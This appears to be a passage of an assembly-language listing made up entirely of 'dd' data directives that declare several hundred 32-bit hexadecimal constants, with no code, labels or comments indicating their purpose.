dd 0B1C40471h, 0B2FE97BAh, 94B249A6h, 2DD93EDDh, 3857D809h
dd 99462531h, 0D0214337h, 575A5712h, 479F608h, 0A10FE280h
dd 8FFC3A56h, 0E9CE1ECFh, 59CA2082h, 8D47E0DFh, 0F4C89F28h
dd 550BCCB6h, 0EE648068h, 0EFE92D76h, 0DFEE9FA0h, 6600CE1Eh
dd 0BD55FE01h, 5E3A6B4Fh, 43B4144Ch, 334B1F09h, 5DEE5181h
dd 6DEE405Fh, 220B51A9h, 0EA9ED8E9h, 0AB8000E5h, 5A256E44h
dd 982ABC5Eh, 480C3959h, 0D4046560h, 0AE16B33Ah, 25382EC7h
dd 130CB55Ch, 27094EFBh, 0B5511C5Fh, 0BD52B40Ch, 6671CF6Ah
dd 0CBB35323h, 814C08D1h, 723EBF1Eh, 807A9D1Bh, 6657D07h
dd 5C321095h, 683EE217h, 2708AD29h, 0B7025CFBh, 0F5694729h
dd 55020BF1h, 9430A9E9h, 201498F3h, 660E93F3h, 9A258268h
dd 2A6FF64Bh, 0EA011377h, 0A58CBC5Dh, 70B7A0D1h, 76E2B800h
dd 8180B54Bh, 4A9C7CB2h, 0BBB507h, 0C21AE908h, 44B46BFh
dd 5529D6BDh, 0B179BB48h, 94C2AF20h, 5E88098h, 19DD76D7h
dd 0E727FC90h, 55CA68CEh, 1CCA2210h, 0B17F9305h, 0FF004E4Ah
dd 2DE76F42h, 5E5B1756h, 89D8FE01h, 538D2F68h, 39274CE6h
dd 0A03D7147h, 5DB505ECh, 0EC5F3752h, 0AE800D1h, 63BE6E65h
dd 0A0F30460h, 0D30CD4E9h, 0F5D34609h, 9555A612h, 929EB8BDh
dd 4AEFB887h, 0AE968AB9h, 0A9074022h, 4E37F2B0h, 0C88F88C5h
dd 9D4F12F0h, 0C4F292D7h, 776A4A9Bh, 0E984874Fh, 0A8ADEBBAh
dd 13790204h, 790DEC18h, 3D704DFEh, 7237F4B5h, 0E9E1CF5Ch
dd 0C9901557h, 7D8A731Ch, 0A2221452h, 683EC56Fh, 3B8CA1D7h
dd 7E980FADh, 2CC776D6h, 0EA74DCF6h, 0AE4FF1FCh, 0D86F937Dh
dd 4EB45EBh, 0CF6AB1AEh, 9A63606h, 0BF8752Dh, 78C05CCDh
dd 5C5EF4A9h, 7BD15F52h, 795645Ah, 0F868E1F7h, 46F50B7Ch
dd 802E4BE9h, 0D698B9AAh, 8AD21934h, 91F8D4EFh, 2A9FB21h
dd 6E54555Fh, 9EC2DBAEh, 8880F91Ah, 0BE0107D5h, 10565787h
dd 0CB6923E8h, 4F735814h, 6D812DA4h, 0BE94CC7h, 83421C25h
dd 88558D8h, 582D18FEh, 494D5302h, 0BC337478h, 0C866D985h
dd 0E4E6B51Bh, 8F2419D3h, 0FE07B401h, 0BC0C0C10h, 418524E9h
dd 0C6F1A753h, 54588720h, 66C1D217h, 800486EEh, 0C954DA73h
dd 82014822h, 54860908h, 0A4897162h, 0D40B720Eh, 17C2C572h
dd 4B84ECE3h, 0BAC567F2h, 0EB815677h, 0E90B759Ah, 79C82A58h
dd 5F2F3EE7h, 0BA245C6Dh, 833AA905h, 629DC06Ah, 2EF7C7F1h
dd 707101D2h, 286816ABh, 3969AA17h, 5A135A82h, 0D7611FA6h
dd 0C3277FE8h, 7407EC82h, 0AC0C6578h, 65B98102h, 9A20941Fh
dd 0C6AE9F5Ch, 0A3C469C5h, 0C5FE0E1Dh, 30E54180h, 0B03F59EAh
dd 0B2725237h, 3E45E5F9h, 0DFE8D1F0h, 0FCE98606h, 54679DA8h
dd 8B5F5375h, 8041A1CDh, 0EB2B9CEBh, 0F725E82Fh, 1160625Eh
dd 9A52A24Ah, 0F6D82A5Bh, 0E3882D0Fh, 40EF4554h, 685859EBh
dd 30134FC7h, 0C0AAB1C3h, 8002E100h, 0CA884CC1h, 0D2CF25E9h
dd 7F022B5Fh, 65FAA581h, 4DF03A12h, 0CF1A3A5Ah, 5E0456D8h
dd 0BBD6ACE5h, 35B03AACh, 0B9014A10h, 363E2D27h, 0AF2B125Bh
dd 13733000h, 90539A0h, 15777502h, 2FFC9DC2h, 4471A928h
dd 17C0084Ah, 48853C07h, 0E90B6F27h, 92575963h, 21E00229h
dd 586EE475h, 89382F01h, 0F99F3BEh, 60AD1A96h, 7318D462h
dd 7F2831EAh, 11E93960h
dd 5668E817h, 0DA904C9h, 0E50513A9h, 71A1A164h, 0AAF8E2C1h
dd 0D65CBDB1h, 9DEA6EE9h, 5197C450h, 4115E80Ah, 2C7A5A68h
dd 13EBC1B5h, 502040D0h, 9B0F1645h, 0F7728119h, 778C40DBh
dd 39F2D5Bh, 0D279DF7Dh, 98A14043h, 27AF3B08h, 6328C902h
dd 0D75E67C0h, 24A9C3Dh, 19B15FA5h, 77A731E9h, 0B9B94B57h
dd 3BEE14F1h, 9A36996Ch, 0DBF62EE2h, 27A8088Fh, 0A0B8C226h
dd 0F582A1B1h, 16B09D20h, 9C308CAh, 2A768756h, 2CDCFFBAh
dd 9D4E5765h, 0C08C5F4Bh, 49862968h, 0BBE989A2h, 0DC9DF150h
dd 145F7A09h, 2CF780EFh, 0F288817Ch, 88A2E542h, 5F048DF8h
dd 3A79D3E4h, 2DCED96Fh, 0AC064054h, 744EB209h, 899247EEh
dd 3E6A72DEh, 0A5F39B68h, 0A04B8EFEh, 0E31558E4h, 0EA90287Eh
dd 0FE05A80Bh, 0B1425765h, 7F7C080Dh, 292EEC8Bh, 2DE961CCh
dd 0ACB23B42h, 6CAF0992h, 3587D248h, 0BF754C01h, 0DCAACE0Fh
dd 7A214430h, 81025A7Eh, 0B7E7E0h, 0A80D7F6h, 0FE208CC7h
dd 672D3AF7h, 52B7C1E4h, 7F4628EEh, 4C201E61h, 0CA2948ABh
dd 799F0820h, 77DE62C9h, 146AEF23h, 0EF62ED15h, 415D05DEh
dd 89BF38E6h, 6801C7B0h, 3F6F4402h, 7CFAE95Dh, 0BBB60E43h
dd 0BCCD2FE5h, 6AC1116Eh, 31C8BF4Ah, 0EEC044BFh, 0DB497A05h
dd 0DE062901h, 5F918260h, 24FAB36Ch, 0F002C455h, 406AA303h
dd 0A9483423h, 76E45258h, 17F1958Ah, 2EE57FE9h, 7F072004h
dd 0BD416CC1h, 0BA8DBF92h, 9AF0F3B5h, 0CE64956Ah, 5A154793h
dd 15ED44C2h, 131EC82Ch, 0CBE89713h, 1C29584h, 7DB96852h
dd 6B30844Dh, 0E2801C35h, 0B5F2CB55h, 66E506DDh, 0AEBB01FFh
dd 0F7468F06h, 0A7F442D3h, 0B77CF2DDh, 0BFEC8FD2h, 14DE6C1Dh
dd 1E1AE280h, 16420FF5h, 8C1575E9h, 8C6B3185h, 75CB2BC9h
dd 9BE16E0h, 0A9F5D1Eh, 5D1CF089h, 4FF86094h, 1B42297h
dd 1D0BC1D6h, 2F585F01h, 0E9A082F9h, 9495BB65h, 895BB5F7h
dd 5A2FAAA4h, 7C58BF6Dh, 5C88626h, 42AF3197h, 851684Bh
dd 0C5C1A19Bh, 0B1B22B42h, 0A74A9DE4h, 0A7CCE7C6h, 8EA42730h
dd 6CB1E0ABh, 974D2CADh, 4D1A8EA3h, 944926C7h, 0B484E4FBh
dd 221532B7h, 0FD9FB1BBh, 6A57DC12h, 0D1433B80h, 0C673523Ch
dd 0BC259B52h, 17F0B4AEh, 56D07D5Eh, 18DA3F09h, 0B49BF1Eh
dd 0CC698CE9h, 0C9EF7630h, 92844C5Fh, 3A5509A6h, 30651B1Fh
dd 1AA56805h, 2CC927F8h, 0FC8438C2h, 6E99B119h, 0F1AE0934h
dd 57713445h, 1668C597h, 740867EBh, 97B916EEh, 0E609EA4Bh
dd 6B06F95Fh, 0CB0B8D71h, 284ED568h, 5B46AF38h, 0B0465BCDh
dd 0CEA0529h, 0BB550147h, 8016594h, 0A213E958h, 0DFE2926Ah
dd 26793860h, 247A823Fh, 0BE873F16h, 80B9135Bh, 0EF2CF62Fh
dd 9E4F5C5Fh, 0E986914Eh, 0C18D7BE6h, 80888720h, 569FC189h
dd 11054971h, 15F2FBD3h, 17E540CFh, 0A4FFFC85h, 0DDE9A860h
dd 55C2E1A5h, 57D29754h, 3C35ECE7h, 98E63FB4h, 39EC2152h
dd 1DB8B981h, 6C3137F9h, 98D2133Ah, 55905501h, 0D08B6F62h
dd 0AF6F5958h, 6B541E62h, 4BE90E3Ah, 7F2D1CAAh, 0F71C73B8h
dd 8F1EE8BFh, 401FB6D9h, 2E5C15Ch, 3C6C7F96h, 367C005Eh
dd 60F5817Bh, 184B9E07h, 0E9954FABh, 5DE14013h, 0D261EE2Dh
dd 0F801760Ah, 0E90B0705h, 7D57C218h, 7E059A30h, 52836618h
dd 5F6ED668h, 8FCB0F5h, 0D64124B3h, 8230DA03h, 2F0BD4D2h
dd 96F5582Dh, 2DED2967h, 0CEBAB9C3h, 0B0DDF0A5h, 90E0D345h
dd 55C04025h, 194DDBECh, 4E30390Fh, 0E9C5FBA2h, 0F912FB2Eh
dd 0D745DAB3h, 0F18C1C9Ah, 0E9622251h, 0F1176AAEh, 9A36AA6h
dd 4D2BBAEDh, 911C037Dh, 0AC30246Bh, 7E6D60F4h, 475C66D8h
dd 0F6A366Eh, 88864ABCh, 0EB256859h, 96EBF118h, 5E46AC25h
dd 81696CABh, 35A5C60Eh, 0C6ABD2AAh, 4660086Eh, 0D94FA31Ah
dd 27CC9077h, 6C0272Fh, 0C08274EAh, 0B2F533FEh, 0E27C64A3h
dd 16388256h, 3109CEFAh, 9582823h, 727E3Ah, 47D577DFh
dd 0CA2DE94Dh, 20B4CC9Bh, 0A9D7BFAh, 0EB01D3B2h, 0FAD9B35h
dd 0BDC2B02Ah, 13094440h, 1435AD3h, 4C80BD5h, 3E143EC1h
dd 9BA94B33h, 7A762D2Fh, 0E9E809BFh, 7389437Ah, 6150527h
dd 0D1906843h, 7FF1E9AAh, 811216FDh, 10CFB309h, 680A6120h
dd 69B7226Ah, 543DB902h, 4BD9275h, 0FF1E5683h, 34C2C527h
dd 0E6C7EF41h, 5276DC9Ah, 3D020CD9h, 897F524Ah, 4F2EDF78h
dd 0F4774761h, 0A9743EE7h, 598B98FCh, 8A2C8058h, 0D5C472F1h
dd 800F61B8h, 0AD09E7CDh, 0E0F5AEABh, 1A2376D0h, 908B73CFh
dd 50B8565Fh, 32CBA4DCh, 878905ADh, 8C9F81F8h, 5C10B354h
dd 0A8C79B3h, 4E263F16h, 2D40E432h, 7E954570h, 0B681EFD6h
dd 3B573A04h, 704E5F1h, 5EE68B13h, 64FF5C25h, 84495BB1h
dd 58E1FC8Dh, 10BAE48Eh, 2919EF39h, 0E6C1131Dh, 173FE7DFh
dd 0EB96841Fh, 7B56263Dh, 5EFB5F28h, 0C5EC4C1h, 0E56C576h
dd 0E9E27C03h, 1857C078h, 0F42D20A3h, 4832C05Dh, 0E939C930h
dd 5F24096Eh, 925FDCAFh, 40B4AB5Ah, 89645AFCh, 56E6C2Eh
dd 27F9F26Bh, 9192D2EBh, 7C2777DEh, 9F68702Ah, 0C8A3F9B5h
dd 8C76A583h, 36455F7Ah, 43B6E961h, 0F047E758h, 6E704CA4h
dd 1C38E818h, 77F6F4BAh, 0F2812001h, 632C3B3Dh, 18FDE2D8h
dd 5A5C3829h, 0A63064AEh, 827A242Eh, 89192D3Eh, 5A842D4Ah
dd 139CB235h, 66CAE829h, 23BB5300h, 14F3512h, 0E1D1DD4Ch
dd 172802Fh, 5F1B1E0Bh, 0ACF8100h, 1904D0Bh, 49959726h
dd 2EBD892h, 2CD16860h, 0AC6194DCh, 0D220B47Ah, 1C5D5CE8h
dd 6059B55Ah, 7122179h, 0C1BE3D28h, 0EC82B72Dh, 7B5EE994h
dd 84EEE1C5h, 875B4102h, 7E70A14Bh, 850408ECh, 21F010Dh
dd 7217B895h, 17EAF697h, 20B588E9h, 185CE459h, 7FF495Fh
dd 99437DDh, 0E924F95Dh, 0CE327452h, 0D7598C63h, 5B10C0E3h
dd 523B5084h, 0CC828517h, 8D5A514Ah, 2273EF30h, 0B8541988h
dd 0D5E90B6Fh, 0FF24A5FCh, 90362641h, 0F15FD314h, 0F23F6Dh
dd 40B450C7h, 41E9C4FEh, 546362BFh, 0B415D05Ch, 1DCCC99Fh
dd 0BB62122Fh, 58C30CB2h, 98101E66h, 264FAD13h, 0FE40D02Ch
dd 3FC717BAh, 0C352042Ch, 535A000Fh, 5F6EB151h, 0C2BAE288h
dd 0D2B5DFE9h, 5DD8780Fh, 144AF0E4h, 5CB2AC95h, 0CBD449C8h
dd 0FADB5181h, 60BAF662h, 72587E45h, 72DEF72Fh, 0DB2609B7h
dd 2778353h, 0F6C6297Eh, 0EC1758EAh, 45E78FB4h, 7BC3CD70h
dd 84B48BAh, 4706CF05h, 0C3CDAE2Ah, 0E15D0A42h, 0F0F35004h
dd 4CE348h, 9B50D58h, 0E0C113BCh, 0FF6D077Fh, 39E81A78h
dd 355C0118h, 0F9FDA0EEh, 83B670D1h, 4AF04295h, 40475536h
dd 0DE814734h, 7E69628Dh, 7E7468C2h, 0C988B151h, 94D52D59h
dd 0ADB324F2h, 0C6B76249h, 943F43F7h, 0C3A3C33h, 0DCB07604h
dd 20B5FC2Fh, 0EE3631C7h, 0C46ABF05h, 95B68CF5h, 3C4F0BCBh
dd 1E020FDEh, 0CEF7790Ah, 0EA50B767h, 49167797h, 0C344B691h
dd 33605BB5h, 46989DA5h, 0C8B2860Ah, 8A4702BFh, 768025Ch
dd 0B51FC655h, 7829B9C2h, 11D78B06h, 0A03D41B5h, 88D08C6Bh
dd 51B752F6h, 0BE02C5Bh, 3CDA29D8h, 0A879B009h, 5D4C02ECh
dd 0A53F7B05h, 0C4599EF7h, 0FC02E961h, 0C3B84B01h, 93E7E25Fh
dd 0DA4228F3h, 3067A717h, 53EA88B2h, 0CB98A39Dh, 0F9B24859h
dd 4F2D0310h, 9478D6B8h, 846D07C8h, 0F1C9604Fh, 0B7D7255h
dd 0AF02244Fh, 614EF280h
dd 47ECC13Bh, 0A59EB199h, 0FD2779E5h, 659B9C18h, 0E92F9BB8h
dd 58CC87A2h, 553192B2h, 80FFDB32h, 607FD0EBh, 0DBE92D34h
dd 9550389h, 5CEE81A2h, 0E4413508h, 0A66A509Ch, 0AB261424h
dd 7E43D55h, 2CD028B4h, 858E824Bh, 2AB51864h, 0EC39D9B8h
dd 6775B4E9h, 0FF2D48C1h, 11A703BEh, 7AED24FAh, 0FECDBB5h
dd 0B27595D6h, 0E2D761E1h, 0D010A669h, 480FD332h, 54AA27C0h
dd 7C5D5962h, 5E986B8h, 0EB28B58Dh, 0D94CD53Eh, 95C62063h
dd 0BF5F0A9h, 9FDFD845h, 9F837A32h, 0B8765CAh, 27096CD7h
dd 0D75CA4B9h, 0A80BDD52h, 0EB786A89h, 0E34ED70Fh, 0D2AE8B35h
dd 0B5ED061Ah, 0A45EF87Ch, 0D5A3099Fh, 62DDDC32h, 0A2315D2Ah
dd 2425BF54h, 469244C4h, 61CD2CFAh, 33D33C13h, 0D6782AA1h
dd 4AD0236Ch, 0B86B7D41h, 7DFCD25Ah, 5BEA315Fh, 0AF6C2F22h
dd 0C88CB821h, 942D0128h, 13F3BDF6h, 5E5DE909h, 32EAC27Bh
dd 0F583BA5Fh, 9668F22h, 10F08809h, 68172149h, 810C437Ch
dd 5C6EFAC1h, 616E194Fh, 150D05h, 2F3978BEh, 0C2402860h
dd 0EB02C281h, 90180FFh, 0B4D343D5h, 0E5C530FAh, 6A4AC86Fh
dd 70AEB9E4h, 9F73BD7Fh, 0BE956E0h, 5F0CCA3Fh, 0C9A63BB9h
dd 748951C0h, 0E919D35Ch, 0EE474265h, 0F339D57Fh, 9EEBD37Ah
dd 0CA1510C3h, 0C6FE882Fh, 0CCA0C312h, 4AF409BDh, 0FC060E4Dh
dd 0C5073B6Eh, 1520568Ah, 0C93DF560h, 2F1358FBh, 226AD504h
dd 3D00ABE8h, 406C902Dh, 0A7050566h, 0D20EE043h, 25DD5009h
dd 0A9B504ABh, 975AE7ECh, 0BB3FFD46h, 32C1802Bh, 6D0F381h
dd 0AA044ECEh, 91F51993h, 0E12B9F40h, 8A9A018Bh, 0E2D5895Eh
dd 0C4445658h, 5B9CB0EBh, 1C646812h, 6C563FCh, 54048D9Ah
dd 64062055h, 7C9F0288h, 6892B9BDh, 2033D84Bh, 81F80384h
dd 19323B30h, 0D3ABC184h, 82322A64h, 1525EE8h, 0F720ECB9h
dd 53673039h, 0F0D31F27h, 7B039043h, 667C00C1h, 59C82986h
dd 28497B68h, 90D81DAh, 547F26D7h, 5D89D91Ah, 709B47EBh
dd 0D1105B88h, 0BB0153F2h, 295105E6h, 6F2859E9h, 0C9EE8713h
dd 0B03AF1B7h, 49B62EE7h, 81270142h, 190713EBh, 0ECC74026h
dd 6893E65h, 18B9DA20h, 2A50935Eh, 822F6395h, 16E4A68h
dd 96E95D08h, 0A02F5135h, 941FEFF9h, 0FB09F828h, 491BE586h
dd 90E09E5Dh, 0AB6E48ADh, 0C96855A0h, 0C8D90A62h, 0BFFDDAAFh
dd 45327C4Bh, 0D75E1E52h, 6BBC5E14h, 97CCFC2h, 7DCE95BAh
dd 336D294Eh, 0CAD75FA5h, 9454C76h, 3A3D6639h, 0AC0361FEh
dd 0F03EFE1Ch, 7D0D99E7h, 12E0BDBBh, 80805F54h, 10273C6h
dd 0CEFED4F6h, 0DEF38853h, 0AA510F60h, 2DE2E6BFh, 6ED9766Dh
dd 0D5500FCBh, 13A84216h, 89EFE796h, 680F08BEh, 0B1CC7BE7h
dd 10B80150h, 25182265h, 0CC17616Fh, 583D662Dh, 20934CDCh
dd 0AB5A4FCDh, 35270A4Eh, 77F602D9h, 0C0600F7Bh, 0A296B73h
dd 0F5013005h, 970820D6h, 2553947Fh, 0B74092E9h, 297FD6B9h
dd 81BE5902h, 406FB21Eh, 3F2C794Ch, 6C58579Ah, 13C82E81h
dd 3BCEE5BFh, 0BD3FCAFDh, 503C2380h, 0E56121BEh, 0F927A47Fh
dd 95B4449Ah, 12BFE751h, 98A350BCh, 0EFEE9812h, 6711D088h
dd 0C96810EDh, 0D1972F7Ch, 0CF012BC1h, 897F4BDDh, 0AE5A7EB8h
dd 0EBC3404Fh, 74D6B78Eh, 78C26841h, 13ACB72Eh, 0A606583h
dd 14073660h, 0FFE8217Ch, 4B530E85h, 1E7B5A55h, 8C2FEDCDh
dd 0EA5A8106h, 27E9C0A4h, 2320D233h, 894B7E1Ch, 895AD027h
dd 536582B0h, 84680147h, 517DC23Fh, 41164BC9h, 0FD6FBE09h
dd 0DE7F0178h, 0DB47EF3Dh, 0B805F94h, 76E20ADFh, 1F75F8AFh
dd 0FB42A734h, 747DE90Ch, 7B02BB90h, 0F77A5203h, 0AA4A40DBh
dd 20D0125Ch, 3E0BE48h, 1F2D0E06h, 0B8F72110h, 1DAC4EA5h
dd 0A5765F25h, 917160Fh, 2A607744h, 69941491h, 0B4369C2h
dd 29A18AFDh, 3C12C301h, 0F6FD4865h, 0D7641C7Ah, 0C0E2E9CEh
dd 8B6A55C6h, 6658C911h, 3C658AC9h, 5FA5A92h, 0D0AF301Bh
dd 76F3688Eh, 597C39E6h, 3FDE9C2Ch, 0BA0F99A8h, 0E42C634Ch
dd 0C68D760Ah, 0B07E1261h, 52905E12h, 830739Dh, 7327AE2Fh
dd 5522258Dh, 59D55B3Dh, 6826B3C1h, 0E3987ED2h, 0E91808B1h
dd 0FE2CB6C6h, 0C3839DCDh, 63F88F5h, 4F68BC25h, 245FC5Fh
dd 47807716h, 4BA0669Ah, 2F1AB475h, 77886740h, 7ECB2FEAh
dd 0C08F1455h, 8146E042h, 401251CBh, 50005BD0h, 3A903DB6h
dd 4A3125E9h, 43EF1F20h, 68162AA3h, 0BC615AEDh, 406AA1A9h
dd 7581080Dh, 889F31A4h, 0E905E7A2h, 73B4D72Dh, 91E5071Ch
dd 0D2D63157h, 0B5A2E99h, 0E3320573h, 776F0C17h, 202A2EE8h
dd 2002DE48h, 0BFBE0114h, 315E497Dh, 3BA23EF2h, 0E541EAC0h
dd 21165A17h, 0C4F41C57h, 47899552h, 0A82E6557h, 757E2FB1h
dd 0E3CD3B5Dh, 70B8FCA2h, 6B77F3F7h, 2A570A3Bh, 8F5C9974h
dd 0E93196Dh, 0B82AC295h, 0DEAF4A4Ch, 0D8BE4A5Fh, 6302EAA8h
dd 1059376h, 28CA85F2h, 71709CAEh, 64FAF05Eh, 64F6CBF8h
dd 0C5AA4CCAh, 0A48DEE61h, 0A588E904h, 0E8F64132h, 6C953878h
dd 7BC517AAh, 0EF04AEE0h, 6A99A1FFh, 0A6788A4Dh, 94202048h
dd 344E2D05h, 85B20609h, 0C78F097Ah, 6C5FEDB6h, 20178C4h
dd 39DBBE56h, 0F040095Eh, 554EDAC0h, 51B702BAh, 8D5A038Fh
dd 0B19FB531h, 723C2F27h, 0AF3042C5h, 597A7D31h, 21056639h
dd 0AE750D50h, 0AECFEC40h, 1245E803h, 0FB67F2E9h, 0F19CCA7h
dd 404A0A10h, 0BBA8A3E6h, 2FE1325Ah, 9FD29C62h, 0C57F100Dh
dd 27841148h, 40DACD9Dh, 31286EC2h, 0E1D12318h, 2F5576B2h
dd 0A5DC41FCh, 430C771Dh, 12C10C62h, 0E01E5067h, 1213277Dh
dd 65FC7609h, 2EAB5B10h, 421FDA58h, 498E7167h, 233FC7F5h
dd 44239680h, 81E58907h, 81614A95h, 50AECE27h, 0E4802FBFh
dd 678548AFh, 549216E9h, 9B22B53Bh, 39406115h, 0E83381D0h
dd 110111CAh, 0E6132C1h, 0BD218919h, 41BAA13Ah, 0BCA19334h
dd 1F04F269h, 0DF294849h, 81A25C4h, 0EF5A401Ch, 90D7FC4Fh
dd 0A74349F5h, 0F72E0F91h, 508610CDh, 49BF2DF3h, 0C5FF59E7h
dd 6D13B602h, 76C7605Ch, 925D95ACh, 75CD0143h, 2E2C7B10h
dd 0C8653806h, 0ABF20C73h, 5C5B201h, 763C5DB0h, 3435B6D4h
dd 1D6B29FCh, 0A116807h, 63D46859h, 5C1189B2h, 90503CF6h
dd 0D853811Fh, 0D9D698F5h, 6C0DD2C1h, 6B26D83Fh, 5A7236F5h
dd 0E64ED5E9h, 5F5A898Eh, 2B42ED51h, 0D3500D1h, 702797Dh
dd 7138282Dh, 7760421Fh, 365DCA0Bh, 0A9369FBCh, 68120F8Eh
dd 0FD8B5282h, 0C54DE909h, 53929857h, 164E58B3h, 0B7BF2E3Fh
dd 0D668ADDBh, 7F2AD9EAh, 7502D8Fh, 41502D68h, 6326C1CEh
dd 34A42C57h, 88394C22h, 5CE12EF4h, 41A4C42h, 40B18050h
dd 693E8E4Ah, 0C307A75Dh, 0D3C2B740h, 58575643h, 0FA62A3E9h
dd 8F565B68h, 5CEA655Ah, 21E29A4Fh, 4A467838h, 0BA4466F0h
dd 22DABD9Ch, 33F759F2h, 123B4C3Eh, 0C9D07E39h, 5C4335ABh
dd 0A406F615h, 18050361h, 2A9E8C02h, 0D4B6E92Dh, 0C04E17C7h
dd 78CAC615h, 4DDD3Bh, 2D6C20EEh, 16F1013Ah, 0BAE294E9h
dd 856879D1h, 10F7A9A4h, 0DA8706D2h, 9F08D3F7h, 0DC117E6h
dd 6F076858h, 0FA6E353Fh, 51D17D21h, 80572902h, 780A4A82h
dd 5F80FA32h, 1567C841h, 5906F412h, 0BE0BAEB6h, 5B825145h
dd 0CB5963CFh, 849CF9E3h, 0C430F9EAh, 95D193ABh, 0ED416F01h
dd 680098D0h, 3FC4607Ah
dd 0E7FE8D0Ch, 0AFA25F1Ch, 0BA5E5485h, 0FB9609E3h, 7CA48574h
dd 5F0D4063h, 2F3E595h, 0DA3685Ch, 23F59C9Ah, 0AB51D4A7h
dd 59CDB17Eh, 0E9EDC5E5h, 0CE3F4BD9h, 6A2D7EC5h, 0E3F068F5h
dd 68660B58h, 167D176Eh, 0C398BDC0h, 0E916A0C9h, 0AB356CDBh
dd 0CBE9E4FBh, 0C47A5541h, 6D29808Dh, 313F7C12h, 0DAE91629h
dd 0B3BE30C0h, 25AB001Eh, 38A8E681h, 4E6E1A9Dh, 0F941830Eh
dd 0B1F6E84Ch, 1DF82855h, 0D5F202A3h, 0A4E914C8h, 5C130B7Ch
dd 40DA4FF0h, 4D02059Ch, 81B118B6h, 0F257EBh, 2E5BF359h
dd 5145545Fh, 16A6F60Ch, 0C2E89D5Dh, 6880B757h, 305F4BF5h
dd 0AC38A09Fh, 0D5F74700h, 183D6853h, 5B48122Dh, 30B0BA09h
dd 0CA631892h, 0FB682455h, 8164764Dh, 47DC0E26h, 3F52E93Fh
dd 97350255h, 0E15DEF29h, 6A80642h, 0A96B2DDEh, 4827C9Bh
dd 548BC7C5h, 69CBF2A0h, 0F15DE5CEh, 15252ABh, 1C4C6815h
dd 0C8E90974h, 0F7772288h, 0BCFD252Fh, 0C3BA4A9Eh, 9DD10500h
dd 0C0AC02F6h, 0B26849CFh, 30C67EA5h, 0EAAD8513h, 935C05E7h
dd 92791042h, 3DA4E2Ch, 0B316253h, 2A6675E1h, 82FFDB52h
dd 0D45F5857h, 5C5772B8h, 0A2905CEAh, 0C9FB769Fh, 9D33E65Fh
dd 0E4C28666h, 6323CF49h, 88A4170h, 48A8CE55h, 56031E20h
dd 0F976E2BEh, 68BDD920h, 13BB532Eh, 4900AB97h, 0D76991F3h
dd 0E3C12E17h, 6DCB01A8h, 6031C466h, 80817F09h, 0E3458BE1h
dd 0A202C556h, 0E0BC1A98h, 24A2F6E9h, 8A3177h, 74685BEEh
dd 0BF32E92Bh, 82C53F33h, 7559EBFFh, 0FB1EA6CEh, 0A83EE828h
dd 8D74ED2Ch, 0D864117Ah, 73F6487Eh, 1333A65Fh, 1D1558C3h
dd 715B2D40h, 1CF50078h, 454DBE72h, 639F5498h, 5FD3820Fh
dd 0EB80D8B0h, 0AE9230Dh, 103A22BFh, 22059C01h, 8833CF72h
dd 29101F31h, 620612F6h, 0FA70397Eh, 0ED389F02h, 0DE64E96Eh
dd 0E5880E70h, 2A8EEF49h, 0F716F9CFh, 4E083EE8h, 0E5E7BCACh
dd 29DE92BCh, 0CC854C55h, 3022FEFAh, 946FC6E4h, 0EED11337h
dd 6D25FD5Fh, 8A32FDEAh, 68043BD1h, 3AB33558h, 0AB534813h
dd 203EA3DDh, 9446898h, 5A35BD13h, 0A6890EEh, 70179252h
dd 2909C201h, 27F95FA5h, 43571D99h, 822206FCh, 0FCF12540h
dd 0AF17D116h, 0C6A05713h, 5FFA0131h, 3B0A3405h, 5C09D445h
dd 0E941B009h, 0BF0370A2h, 6825EF14h, 8D8E5C56h, 21FBC6ACh
dd 0F3E43F4Fh, 27785E72h, 0C9CFA24h, 4A2A52D1h, 0B880424Eh
dd 9D684C7Eh, 4B0754D2h, 0E98E53A2h, 382AF8E6h, 0D01D5804h
dd 0EB5B2E2Ch, 69A65DF1h, 0ED80D700h, 673AE957h, 5C03D7Eh
dd 8B8FC2C8h, 123C6879h, 164B4023h, 1C6885D7h, 64A120B8h
dd 39010596h, 1C8F231Bh, 622C4770h, 46492315h, 0FFC6FF2h
dd 0E20C2493h, 0BFEE5525h, 7E5774EAh, 83F1AF17h, 168FF2AFh
dd 0FB34875Fh, 0AB37439Ch, 40E69E9Ah, 0FBA2F295h, 212694D8h
dd 81C85EC2h, 0C8AF761Dh, 0B5DB98D5h, 0B14578FCh, 65A391AFh
dd 9878160Eh, 0F51E200Dh, 4FF8C89Ah, 7777E42Ch, 87A2A313h
dd 7A6D284h, 8D795F54h, 0FC223C5Ah, 0CF16EE4Eh, 5C0AA2F8h
dd 19536DAh, 786C6EA0h, 0CC807A5Dh, 2665BE35h, 7DC54F2h
dd 0A0D0F701h, 156077D7h, 0BF7DE91Bh, 0F80C2D95h, 0BFD01D56h
dd 0E1DB4E59h, 2A844FDh, 0AC69E908h, 979D1CFDh, 28C2DB02h
dd 0E9F0812Eh, 0B62E03C9h, 67261710h, 899EBAEDh, 4FF67045h
dd 1610256Ah, 94D75F2Fh, 0D0681230h, 36658C19h, 40723E44h
dd 55955D46h, 0B6962394h, 2950CF80h, 0A04F1B95h, 282D2AD1h
dd 0B225CDh, 7A6E679Ah, 0F1410540h, 56F70650h, 7629A040h
dd 5AAAF0C8h, 6C77AE62h, 0D188A7C2h, 465CE02Dh, 0B9B822F2h
dd 4447F012h, 105F8405h, 543460BBh, 12C94046h, 0CDE9FAFDh
dd 405B3782h, 4C641E0Ah, 0E64AA8F6h, 4F088BEEh, 0C0A49CF8h
dd 976CC008h, 888C384Bh, 0B003ECC1h, 0BFF564B9h, 0ABA9855Ah
dd 77C37CD7h, 0EEF4A9Eh, 279091D2h, 9789DA58h, 7DA2CAh
dd 7AFD4389h, 12869E87h, 2DB5C250h, 0FCA7398Eh, 3520CF70h
dd 1CD8AEACh, 1607A0B8h, 290B133Ah, 8D8886Bh, 62CAE90Bh
dd 24CDD07Dh, 0BE0C7CDh, 0ED730A3h, 87D16FD2h, 0E8044EF5h
dd 0B4B5BC81h, 4E41291h, 502CC828h, 0B3C3BCEEh, 2840F0DEh
dd 0F80474D0h, 0E810B55Ah, 0BE807617h, 703C12BAh, 0CF0FFA3Bh
dd 41A6CB08h, 43A01B6h, 494680E0h, 13E845E2h, 7BD20152h
dd 305A6E2Ah, 0D2AE9D7h, 0F697A65Bh, 0E397BDA3h, 0C23A466Dh
dd 0DC1706EEh, 0DAA3D030h, 0EBCA21D3h, 2AA36BDEh, 20FDE12Fh
dd 0C1EA815Dh, 2C0D4C93h, 47993B17h, 84CA2938h, 91F4AF94h
dd 0C2B3BCA2h, 500F699h, 1F3948BBh, 17C389F7h, 0B8C9B0E7h
